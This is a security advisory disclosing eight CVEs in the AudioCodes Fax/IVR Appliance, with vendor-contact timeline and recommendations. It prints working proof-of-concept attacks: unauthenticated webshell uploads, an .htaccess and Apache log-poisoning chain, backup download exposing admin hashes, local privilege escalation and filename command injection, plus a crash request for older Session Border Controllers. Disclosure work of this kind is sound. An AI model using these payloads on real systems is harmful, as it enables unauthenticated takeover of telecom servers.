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## Advisory Information

Title: 8 vulnerabilities in AudioCodes Fax/IVR Appliance
Advisory URL: https://pierrekim.github.io/advisories/2025-audiocodes-fax-ivr.txt
Blog URL: https://pierrekim.github.io/blog/2025-11-20-audiocodes-fax-ivr-8-vulnerabilities.html
Date published: 2025-11-20
Vendors contacted: Audiocodes
Release mode: Released
CVE: CVE-2025-34328, CVE-2025-34329, CVE-2025-34330, CVE-2025-34331, CVE-2025-34332, CVE-2025-34333, CVE-2025-34334, CVE-2025-34335



## Product description

> AudioCodes' Fax Server (Fax to Mail and Mail to Fax) application is a powerful and flexible software
> application used to manage inbound fax calls and outbound mail-to-fax calls, delivering them
> efficiently to their correct destination.
> 
> From https://www.audiocodes.com/media/14442/fax-server-and-auto-attendant-ivr-administrators-guide-ver-26x.pdf



## Vulnerabilities Summary

Vulnerable versions: all versions.

The summary of the vulnerabilities is:

1. CVE-2025-34328 - Pre-authenticated Remote Code Execution #1
2. CVE-2025-34329 - Pre-authenticated Remote Code Execution #2
3. CVE-2025-34330 - Pre-authenticated File upload vulnerability
4. CVE-2025-34331 - Pre-authenticated File read
5. CVE-2025-34332 - Local Privilege Escalation #1
6. CVE-2025-34333 - Local Privilege Escalation #2
7. CVE-2025-34334 - Post-authenticated Command Injection and Local Privilege Escalation
8. CVE-2025-34335 - Post-authenticated Command Injection


_Miscellaneous notes_:

The critical vulnerabilities have been confirmed to be present in the latest public version.

Other vulnerabilities I have also identified require authentication, therefore the security risk is considered low to medium:

- - An attacker with admin privileges in the web interface can execute commands as `NT AUTHORITY\SYSTEM` in several ways;
- - An attacker with a local account on the server will very quickly gain `NT AUTHORITY\SYSTEM` privileges, as file and directory permissions are insecure everywhere.

Vulnerabilities #1, #2 #3 and #4 were shared with Audiocodes PSIRT but communication was almost nonexistent (see Report Timeline): AudioCodes PSIRT never provided any information or feedback, even with my regular follow-up emails. I also believe that this solution is EOL since December 31, 2024.

Vulnerabilities #5, #7 and #8 were discovered during an audit of an "unsupported" version of the AudioCodes Fax/IVR Appliance that was incorrectly patched. New unsupported versions were found in the vendor AWS S3 bucket that allows directory listing (https://downloads-audiocodes.s3.eu-central-1.amazonaws.com/) - this bucket is used by the vendor to distribute some of its solutions. Surprisingly, the root causes were not addressed and the vulnerabilities #1 through #4 were still present. Vulnerability #6 was simply discovered during the creation of this security advisory to illustrate insecure permissions.

I didn't spend much time analyzing this solution (installation took 10 minutes and the first pre-auth RCE was found in about 5 minutes), but the existing PHP code presents a considerable attack surface.

Regarding the security status of this product, it is also quite surprising to find no public CVEs. I assume this solution has never been audited.

Unfortunately, the vendor has not followed their official security vulnerability handling. AudioCode's PSIRT team has not responded, and security advisories have not been published.

Additionally, It is also worth noting that Audiocodes Session Border Controllers (SBCs) were quietly patched in 2024 to address the misfortune cookie vulnerability (CVE-2014-9222). This exploit was tested on the Median Virtual Edition and Mediant 800 SBCs.

    kali% curl -kv --header 'Cookie: C1012213=1' https:///192.168.0.2/
    -> /acBin/TPApp will segfault in the remote appliance/ARM device

- - firmware sbc-F7.40A.005.619 is vulnerable.
- - firmware sbc-F7.40A.500.781 is not vulnerable.

No security bulletins were found regarding this silently patched vulnerability and it is recommended to use the latest firmware version of Audiocodes Session Border Controllers.

_Impacts_

An attacker can compromise AudioCodes Fax/IVR Appliance without authentication and move laterally in the telecom and IT infrastructure.

An attacker can compromise outdated AudioCodes Session Border Controllers with the misfortune cookie vulnerability.

_Recommendations_

Do not use AudioCodes Fax/IVR Appliance.

Do not expose the AudioCodes Fax/IVR Appliance to the network.

Use secure permissions.

Remove vulnerable webpages.

Update Audiocodes Session Border Controllers.



## Identification of the solution

The latest solution (AudioCodes Fax/IVR Appliance Installer, Version 2.6.230.000) can be found at:

- - https://downloads-audiocodes.s3.eu-central-1.amazonaws.com/Download/AC_FAX_IVR_IW.html
- - https://downloads-audiocodes.s3.eu-central-1.amazonaws.com/Fax_IVR/FaxAtt_Setup_2.6.230.000.zip

[please use the HTML version at https://pierrekim.github.io/blog/2025-11-20-audiocodes-fax-ivr-8-vulnerabilities.html]



## Details - Pre-authenticated Remote Code Execution #1

The vulnerability is located in the `C:\F2MAdmin\F2E\AudioCodes_files\utils\IVR\diagram\ajaxScript.php` PHP file. This file allows an attacker to upload files without authentication.

Content of `C:\F2MAdmin\F2E\AudioCodes_files\utils\IVR\diagram\ajaxScript.php`:

[code:php]
  1 <?php
  2 $dir  = dirname(dirname(__FILE__));
  3 require_once $dir.'/classes/SystemStatus.class.php';
  4 
  5 //$scriptName = $_REQUEST['scriptName'];
  6 $action = isset($_REQUEST["action"]) ? $_REQUEST["action"] : "";
  7 
  8 if(!empty($action)){
  9         if($action == 'getScripts'){
[...]
 26         }
 27         else if($action == 'saveScript'){
 28                 $scriptValue = $_POST['value']; // [1] - attacker-controlled value
 29                 $scriptName = $_POST['name'];   // [2] - attacker-controlled value
 30 
 31                 $systemStatus = new SystemStatus();
 32                 $sysInfo = $systemStatus->GetSysInfo();
 33                 $path = $sysInfo[SystemStatus::SCRIPTS_DIR];
 34 
 35                 $ok = 'false';
 36                 $ok = file_put_contents($path."/".$scriptName, $scriptValue); // [3] - insecure file write with attacker-controlled values
 37                 if($ok === true){
 38                         $ok = 'true';
 39                 }
 40                 ob_clean();
 41                 echo ($ok);
 42                 die;
 43         }
 44 }
[/code]

As shown in the source code, there is no authentication.

Without authentication, a remote attacker can access line 36 to write any file under `NT AUTHORITY\system` (Apache runs as `NT AUTHORITY\system`) because all the arguments for the `file_put_contents()` function are under attacker's control.

A PoC is provided below. A webshell is uploaded and a command is executed:

    kali% curl -kv "http://10.105.0.239:8090/AudioCodes_files/utils/IVR/diagram/ajaxScript.php?action=saveScript" -d "name=F2MAdmin/F2E/webshell4.php&value=<?php system(\$_GET['c']);?>"
    *   Trying 10.105.0.239:8090...
    * Connected to 10.105.0.239 (10.105.0.239) port 8090
    * using HTTP/1.x
    > POST /AudioCodes_files/utils/IVR/diagram/ajaxScript.php?action=saveScript HTTP/1.1
    > Host: 10.105.0.239:8090
    > User-Agent: curl/8.13.0
    > Accept: */*
    > Content-Length: 65
    > Content-Type: application/x-www-form-urlencoded
    > 
    * upload completely sent off: 65 bytes
    < HTTP/1.1 200 OK
    < Date: Mon, 26 May 2025 14:44:38 GMT
    < Server: Apache/2.4.62 (Win32) OpenSSL/3.1.7 PHP/8.1.31
    < X-Powered-By: PHP/8.1.31
    < Set-Cookie: PHPSESSID=301ccae912e0c2aee878361e74d5bb30; path=/
    < Expires: Thu, 19 Nov 1981 08:52:00 GMT
    < Cache-Control: no-store, no-cache, must-revalidate
    < Pragma: no-cache
    < Content-Length: 2
    < Content-Type: text/html; charset=UTF-8
    < 
    * Connection #0 to host 10.105.0.239 left intact
    %
    kali% curl "http://10.105.0.239:8090/webshell4.php?c=whoami"
    nt authority\system
    kali% 

The resulting commands will be executed as `NT AUTHORITY\system` (meaning full control of the remote server without authentication).

If the `SystemStatus::SCRIPTS_DIR` variable (used for the `$path` variable in line 33) is set to a specific directory, the attacker can simply specify `name=/../../../../../../../F2MAdmin/F2E/webshell4.php` as a path traversal in the HTTP request to traverse the directory and write the webshell in the `C:\F2MAdmin\F2E\` directory (corresponding to the `DocumentRoot` directory).



## Details - Pre-authenticated Remote Code Execution #2

The `C:\F2MAdmin\F2E\AudioCodes_files\ajaxBackupUploadFile.php` PHP script does not implement authentication, allowing any remote attacker to upload any file and overwrite any backup file in the default backup folder (default is `C:\`).

Content of `C:\F2MAdmin\F2E\AudioCodes_files\ajaxBackupUploadFile.php`:

[code:php]
  1 <?php
  2 require_once 'utils/IVR/classes/IvrBackup.class.php';
  3 require_once 'utils/IVR/IvrRestUtil.php';
  4 require_once 'utils/IVR/diagram/constants.php';
  5 
  6 $ivrBackup_ins = new IvrBackups();
  7 $target_path = $ivrBackup_ins->GetBackupFolderPath()."\\";
  8 
  9 
 10 //$target_path = "C:\\F2MAdmin\\tmp\\";
 11 
 12 if(!is_dir($target_path))
 13         mkdir($target_path, 0777, true);
 14 /* Add the original filename to our target path.  
 15 Result is "uploads/filename.extension" */
 16 $target_path = $target_path . basename( $_FILES['fileToUpload']['name']);
 17 if(move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $target_path)) {
 18     echo "The file ".  basename( $_FILES['fileToUpload']['name']).
 19     " has been uploaded.";
 20 } else{
 21     echo "There was an error uploading the file, please try again!";
 22 }
 23 die;
[/code]

Exploitation is explained below:

1. With `/AudioCodes_files/ajaxBackupUploadFile.php`, upload of a `.htaccess` file in `C:\` containing this line:

```
php_value auto_prepend_file C:/Apache24/logs/access.log
```

You can also skip step 2 and directly include a base64-encoded PHP webshell inside the `.htaccess` file with `auto_prepend_file = "data:;base64,BASE64(webshell)"` but it will probably be detected and blocked by any EDR.

2. Apache logs will be used to store a PHP webshell by requesting `/OUTPUT:<?php system($_GET['c']);?>` (this is an invalid HTTP request as we do not want to URL-encode the space into `%20`). The `OUTPUT` keyword  is used to filter the interesting part of the resulting webpages in step 3 since the answer will also contain some HTML tags and JavaScript code.

3. Getting Remote Code Execution by reaching any PHP page because the `C:\Apache24\logs\access.log` file will now be appended and it contains a PHP webshell.

PoC:

    kali% curl -F "fileToUpload=php_value auto_prepend_file C:/Apache24/logs/access.log;filename=.htaccess" http://10.105.0.239:8090/AudioCodes_files/ajaxBackupUploadFile.php
    The file .htaccess has been uploaded.

    kali% echo "OUTPUT:<?php system(\$_GET['c']);?>" | nc -v 10.105.0.239 8090
    10.105.0.239: inverse host lookup failed: Unknown host
    (UNKNOWN) [10.105.0.239] 8090 (?) open
    HTTP/1.1 400 Bad Request
    Date: 26 May 2025 14:54:31 GMT
    Server: Apache/2.4.62 (Win32) OpenSSL/3.1.7 PHP/8.1.31
    Content-Length: 226
    Connection: close
    Content-Type: text/html; charset=iso-8859-1
    
    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <html><head>
    <title>400 Bad Request</title>
    </head><body>
    <h1>Bad Request</h1>
    <p>Your browser sent a request that this server could not understand.<br />
    </p>
    </body></html>
    kali% 
    
    kali% curl -s 'http://10.105.0.239:8090/?c=whoami' | grep OUTPUT
    10.105.0.238 - - [26/May/2025:14:54:34 -0700] "OUTPUT:nt authority\system
    kali% curl -s 'http://10.105.0.239:8090/?c=dir' | grep -A 10 OUTPUT
    10.105.0.238 - - [26/May/2025:14:54:39 -0700] "OUTPUT: Volume in drive C has no label.
     Volume Serial Number is DECE-1ED7
    
     Directory of C:\F2MAdmin\F2E
    
    05/26/2025  07:37 AM    <DIR>          .
    05/26/2025  07:37 AM    <DIR>          ..
    08/22/2023  12:37 PM            13,964 agent.php
    08/22/2023  12:37 PM               342 agentLogout.php
    08/22/2023  12:37 PM            27,611 AudioCodes.php
    05/26/2025  07:40 AM    <DIR>          AudioCodes_files
    kali% 



## Details - Pre-authenticated File upload vulnerability

The `C:\F2MAdmin\F2E\AudioCodes_files\utils\IVR\diagram\ajaxPromptUploadFile.php` PHP script does not implement authentication, allowing any remote attacker to upload any file in `C:\F2MAdmin\tmp`.

PoC:

    kali% curl -F "fileToUpload=test;filename=test2.txt" http://10.105.0.239:8090/AudioCodes_files/utils/IVR/diagram/ajaxPromptUploadFile.php
    The file test2.txt has been uploaded
    kali%

The resulting file will be stored in `C:\F2mAdmin\tmp`.



## Details - Pre-authenticated File read

The `C:\F2MAdmin\F2E\AudioCodes_files\download.php` PHP script does not implement authentication.

This script allows to download files stored in the appliance depending on the authorized extensions (e.g., zip, txt, c2v, ...).

This vulnerability allows an attacker to download the backup files and compromise the server since they contain hashes of users.

The format of the backup filename can be easily guessed (`BACKUP_Day_DD_Month_YY_HH_MM_SS.zip`).

PoC:

    kali% curl 'http://10.105.0.239:8090/AudioCodes_files/download.php?baseDir=C:\F2MAdmin\backup\&f=BACKUP_Mon_26_May_25_20_23_42.zip' --output BACKUP_Mon_26_May_25_20_23_42.zip
      % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                     Dload  Upload   Total   Spent    Left  Speed
    100  3739  100  3739    0     0   139k      0 --:--:-- --:--:-- --:--:--  140k
    kali% 7z l BACKUP_Mon_26_May_25_20_23_42.zip
    
    7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
     64-bit locale=en_US.UTF-8 Threads:8 OPEN_MAX:1024, ASM
    
    Scanning the drive for archives:
    1 file, 3739 bytes (4 KiB)
    
    Listing archive: BACKUP_Mon_26_May_25_20_23_42.zip
    
    --
    Path = BACKUP_Mon_26_May_25_20_23_42.zip
    Type = zip
    Physical Size = 3739
    
       Date      Time    Attr         Size   Compressed  Name
    ------------------- ----- ------------ ------------  ------------------------
    2025-05-26 10:23:42 .....         5120          402  dbcdr.db
    2025-05-26 10:23:44 .....          455          154  ErrorLog.txt
    2025-05-26 10:23:42 .....        73728         2484  f2e.db3
    2025-05-26 10:23:44 .....          678          209  log.txt
    2025-05-26 10:23:44 .....            2            2  ovoc.json
    ------------------- ----- ------------ ------------  ------------------------
    2025-05-26 10:23:44              79983         3251  5 files
    kali% unzip BACKUP_Mon_26_May_25_20_23_42.zip
    Archive:  BACKUP_Mon_26_May_25_20_23_42.zip
      inflating: dbcdr.db                
      inflating: ErrorLog.txt            
      inflating: f2e.db3                 
      inflating: log.txt                 
     extracting: ovoc.json               
    kali% sqlite3 f2e.db3
    SQLite version 3.46.1 2024-08-13 09:16:08
    Enter ".help" for usage hints.
    sqlite> .dump
    [...]
    INSERT INTO ADMIN VALUES(1,'Admin','e3afed0047b08059d0fada10f400c1e5',NULL,NULL,0,1);
    [...]



## Details - Local Privilege Escalation #1

Some batch files are executed as `NT AUTHORITY\system` with the `system()` function. Unfortunately, these batch files can be overwritten by local users due to insecure permissions.

Content of `C:\F2E\AudioCodes_files\ajaxPost.php`:

[code:php]
  1 <?php
[...]
132                         $cmd = "cmd /c "."C:\\F2MAdmin\\F2E\\AudioCodes_files\\utils\\Services\\";
133                         $stop = $cmd."stop.bat";
134                         $start = $cmd."start.bat";
135                         $restart = $cmd."restart.bat";
136                         if($serviceName == Services::FAX_SERVER_NAME || $serviceName == Services::FAX_ENGINE_NAME){
137                                 if($action != Actions::START ){
138                                         system($stop.' "'.Services::FAX_SERVER_NAME.'"');
139                                         if($serviceName == Services::FAX_ENGINE_NAME)
140                                                 system($stop.' "'.Services::FAX_ENGINE_NAME.'"');
141                                 }
142                                 if($action != Actions::STOP){
143                                         system($start.' "'.Services::FAX_ENGINE_NAME.'"'); // start always
144                                         system($start.' "'.Services::FAX_SERVER_NAME.'"');
[/code]

These files can be modified by any user on the server, allowing them to obtain `NT AUTHORITY\SYSTEM` privileges:

[please use the HTML version at https://pierrekim.github.io/blog/2025-11-20-audiocodes-fax-ivr-8-vulnerabilities.html]

Using `icacls`:

    C:\F2MAdmin\F2E\AudioCodes_files\utils\Services> icacls *
    restart.bat BUILTIN\Administrators:(I)(F)
                NT AUTHORITY\SYSTEM:(I)(F)
                BUILTIN\Users:(I)(RX)
                NT AUTHORITY\Authenticated Users:(I)(M)
    
    RestartBlade.bat BUILTIN\Administrators:(I)(F)
                     NT AUTHORITY\SYSTEM:(I)(F)
                     BUILTIN\Users:(I)(RX)
                     NT AUTHORITY\Authenticated Users:(I)(M)
    
    RestartEmail.bat BUILTIN\Administrators:(I)(F)
                     NT AUTHORITY\SYSTEM:(I)(F)
                     BUILTIN\Users:(I)(RX)
                     NT AUTHORITY\Authenticated Users:(I)(M)
    
    RestartFaxReceiver.bat BUILTIN\Administrators:(I)(F)
                           NT AUTHORITY\SYSTEM:(I)(F)
                           BUILTIN\Users:(I)(RX)
                           NT AUTHORITY\Authenticated Users:(I)(M)
    
    RestartService.bat BUILTIN\Administrators:(I)(F)
                       NT AUTHORITY\SYSTEM:(I)(F)
                       BUILTIN\Users:(I)(RX)
                       NT AUTHORITY\Authenticated Users:(I)(M)
    
    RestartWatchdog.bat BUILTIN\Administrators:(I)(F)
                        NT AUTHORITY\SYSTEM:(I)(F)
                        BUILTIN\Users:(I)(RX)
                        NT AUTHORITY\Authenticated Users:(I)(M)
    
    Service.class.php BUILTIN\Administrators:(I)(F)
                      NT AUTHORITY\SYSTEM:(I)(F)
                      BUILTIN\Users:(I)(RX)
                      NT AUTHORITY\Authenticated Users:(I)(M)
    
    ServicesKeys.class.php BUILTIN\Administrators:(I)(F)
                           NT AUTHORITY\SYSTEM:(I)(F)
                           BUILTIN\Users:(I)(RX)
                           NT AUTHORITY\Authenticated Users:(I)(M)
    
    start.bat BUILTIN\Administrators:(I)(F)
              NT AUTHORITY\SYSTEM:(I)(F)
              BUILTIN\Users:(I)(RX)
              NT AUTHORITY\Authenticated Users:(I)(M)
    
    startCommetrex.bat BUILTIN\Administrators:(I)(F)
                       NT AUTHORITY\SYSTEM:(I)(F)
                       BUILTIN\Users:(I)(RX)
                       NT AUTHORITY\Authenticated Users:(I)(M)
    
    startService.bat BUILTIN\Administrators:(I)(F)
                     NT AUTHORITY\SYSTEM:(I)(F)
                     BUILTIN\Users:(I)(RX)
                     NT AUTHORITY\Authenticated Users:(I)(M)
    
    startService1.bat BUILTIN\Administrators:(I)(F)
                      NT AUTHORITY\SYSTEM:(I)(F)
                      BUILTIN\Users:(I)(RX)
                      NT AUTHORITY\Authenticated Users:(I)(M)
    
    startService2.bat BUILTIN\Administrators:(I)(F)
                      NT AUTHORITY\SYSTEM:(I)(F)
                      BUILTIN\Users:(I)(RX)
                      NT AUTHORITY\Authenticated Users:(I)(M)
    
    stop.bat BUILTIN\Administrators:(I)(F)
             NT AUTHORITY\SYSTEM:(I)(F)
             BUILTIN\Users:(I)(RX)
             NT AUTHORITY\Authenticated Users:(I)(M)
    
    stopCommetrex.bat BUILTIN\Administrators:(I)(F)
                      NT AUTHORITY\SYSTEM:(I)(F)
                      BUILTIN\Users:(I)(RX)
                      NT AUTHORITY\Authenticated Users:(I)(M)
    
    stopService.bat BUILTIN\Administrators:(I)(F)
                    NT AUTHORITY\SYSTEM:(I)(F)
                    BUILTIN\Users:(I)(RX)
                    NT AUTHORITY\Authenticated Users:(I)(M)
    
    stopService1.bat BUILTIN\Administrators:(I)(F)
                     NT AUTHORITY\SYSTEM:(I)(F)
                     BUILTIN\Users:(I)(RX)
                     NT AUTHORITY\Authenticated Users:(I)(M)
    
    stopService2.bat BUILTIN\Administrators:(I)(F)
                     NT AUTHORITY\SYSTEM:(I)(F)
                     BUILTIN\Users:(I)(RX)
                     NT AUTHORITY\Authenticated Users:(I)(M)
    
    y.txt BUILTIN\Administrators:(I)(F)
          NT AUTHORITY\SYSTEM:(I)(F)
          BUILTIN\Users:(I)(RX)
          NT AUTHORITY\Authenticated Users:(I)(M)
    
    Successfully processed 19 files; Failed processing 0 files



## Details - Local Privilege Escalation #2

The `DocumentRoot` directory `C:\F2MAdmin\F2E` can be modified by any user due to insecure permissions.

PoC - a webshell will be executed as `NT AUTHORITY\SYSTEM`: 

    Microsoft Windows [Version 10.0.19043.928]
    (c) Microsoft Corporation. All rights reserved.
    
    C:\Users\testuser>whoami
    desktop-to41lr8\testuser
    
    C:\Users\testuser>icacls C:\F2MAdmin\F2E
    C:\F2MAdmin\F2E BUILTIN\Administrators:(I)(OI)(CI)(F)
                    NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                    BUILTIN\Users:(I)(OI)(CI)(RX)
                    NT AUTHORITY\Authenticated Users:(I)(M)
                    NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)
    
    Successfully processed 1 files; Failed processing 0 files
    
    C:\Users\testuser>echo "<?php system('whoami');?>" > C:\F2MAdmin\F2E\a.php
    
    C:\Users\testuser>curl http://127.0.0.1:8090/a.php
    "nt authority\system
    "
    
    C:\Users\testuser>

I haven't performed a comprehensive analysis, but additional Local Privilege Escalation vulnerabilities likely exist.



## Details - Post-authenticated Command Injection and Local Privilege Escalation

In order to test the Fax configurattion, a batch file with attacker-controlled value will be created and then executed. Variables are not sanitized and can be used to execute additional malicious commands.

Content of `C:\F2E\AudioCodes_files\TestFax.php`:

[code:php]
  1 <?php
[...]
 10 $FromNumber = isset($_REQUEST["FromNumber"]) ? trim($_REQUEST["FromNumber"]) : '';
 11 $ToNumber = isset($_REQUEST["ToNumber"]) ? trim($_REQUEST["ToNumber"]) : '';
 12 $src_ip = isset($_REQUEST["src_ip"]) ? trim($_REQUEST["src_ip"]) : '';
 13 $action = isset($_REQUEST["action"]) ? trim($_REQUEST["action"]) : '';
[...]
 32 if(strcmp($action,"send")==0)
 33 {
 34         require_once 'utils/Global/GlobalUtils.class.php';
 35
 36         $command = "C:\\progra~2\\Commetrex\\otf\\bin\\faxsender -u sip:$ToNumber@$src_ip -f test_web_fax.tif -o mulaw -a T38 -c sip:$FromNumber@$src_ip -t";
 37         GlobalUtils::RunBatchFile($command);
[/code]

The batch file containing the command will be written inside the `C:\F2MAdmin\run` directory and then executed by accessing a network service without authentication:

`http://localhost:9437/f2mw-service-api/?method=runBatch&fileName=tmp_1754486471_37.bat`

An authenticated attacker can use variables containing malicious commands with `&` or newline characters - the additional commands will be executed as `NT AUTHORITY\system`.

A local user can simply edit these files to inject malicious commands due to insecure permissions.



## Details - Post-authenticated Command Injection

The `C:\F2MAdmin\F2E\AudioCodes_files\ActivateLicense.php` PHP script allows to upload a license file.

When a license file containing a specific malicious extension is uploaded, this extension will be included in a command executed as `NT AUTHORITY\system`. There is no sanitization, so an attacker can upload `test.ext&command_to_execute` to execute `command_to_execute` as `NT AUTHORITY\system`:

The execution flow is:

    $original_file (under the attacker's control, this is the name of the uploaded file) -> $ext -> $newfile -> $target_path -> $params and then exec($params).

Content of `C:\F2MAdmin\F2E\AudioCodes_files\ActivateLicense.php`:

[code:php]
  1 <?php
104 $c2vdir = "C:/temp/";
[...]
242         $utime=time();
243 
244         $uday= date('d');
245         $umonth= date('m');
246         $uyear= date('y');
247 
248         $udate=$umonth.$uday.$uyear;
249 
250         $filename="a".$udate.$utime;
251 
252         
253         $target_path = $c2vdir; 
[...]
257         $original_file = basename($_FILES['uploadedfile']['name']);
258 
259         $pos = strpos($original_file,".",0);
260         $ext = trim(substr($original_file,$pos+1,strlen($original_file))," ");
261 
262         $newfile = $filename . "." . $ext;
263 
264         $target_path = $target_path . basename($newfile);
[...]
269                 $params = "--active -i ".$target_path;
270                 $res = exec ("C:\\F2MAdmin\\F2E\\external\\fax_server_lic_cmdline.exe ".$params,$resArr);
[/code]

The generated filename is made of 'a', the MMDDYY values, the current Unix time and the extension.

For example, if the filename used during the upload (`$_FILES['uploadedfile']['name']`) is set to `test.php&dir`, the `$params` variable will be set to `--active -i C:/temp/a0917251758121909.php&dir`.

`dir` will be executed as `NT AUTHORITY\system` on line 270.



## Report Timeline
* May 26 - 27, 2025: Security assessment performed on the AudioCodes IVR/FAX appliance.
* May 28, 2025: Analysis sent to the AudioCodes PSIRT (vulnerabilities #1 to #3).
* May 28, 2025: Analysis sent to the AudioCodes PSIRT (vulnerability #4).
* May 29, 2025: Follow-up email sent to AudioCodes PSIRT.
* May 29, 2025: AudioCodes PSIRT confirmed receipt of the analysis.
* Jun, 13 2025: Follow-up email sent to AudioCodes PSIRT.
* Jun, 13 2025: Out-of-office reply from the AudioCodes PSIRT.
* Jul, 1 2025: Follow-up email sent to AudioCodes PSIRT. Asked details about patches, security bulletins and CVEs.
* Jul 8, 2025: I learned that AudioCodes had released an unofficial version with security patches.
* Jul 8, 2025: Confirmed that vulnerabilities were still present and new vulnerabilities were found.
* Sep, 16 2025: Follow-up email sent to AudioCodes PSIRT. Asked details about patches, security bulletins and CVEs.
* Sep, 16 2025: AudioCodes PSIRT indicated that their answer was already communicated on June 25.
* Sep, 17 2025: Follow-up email sent to AudioCodes PSIRT stating that I did not receive any answer, CVEs or working patches. I requested an official response regarding the vulnerabilities.
* Sep, 17, 2025: AudioCodes PSIRT forwarded my email to two AudioCodes employees and asked them to assist me.
* Nov 19, 2025: Vulncheck assigned CVEs.
* Nov 20, 2025: A security advisory is published.



## Credits

These vulnerabilities were found by Pierre Barre aka Pierre Kim (@PierreKimSec).



## References

https://pierrekim.github.io/blog/2025-11-20-audiocodes-fax-ivr-8-vulnerabilities.html

https://pierrekim.github.io/advisories/2025-audiocodes-fax-ivr.txt



## Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/

The source code snippets in this security advisory are the intellectual property of Audiocodes and
used to explain the root causes of the vulnerabilities.

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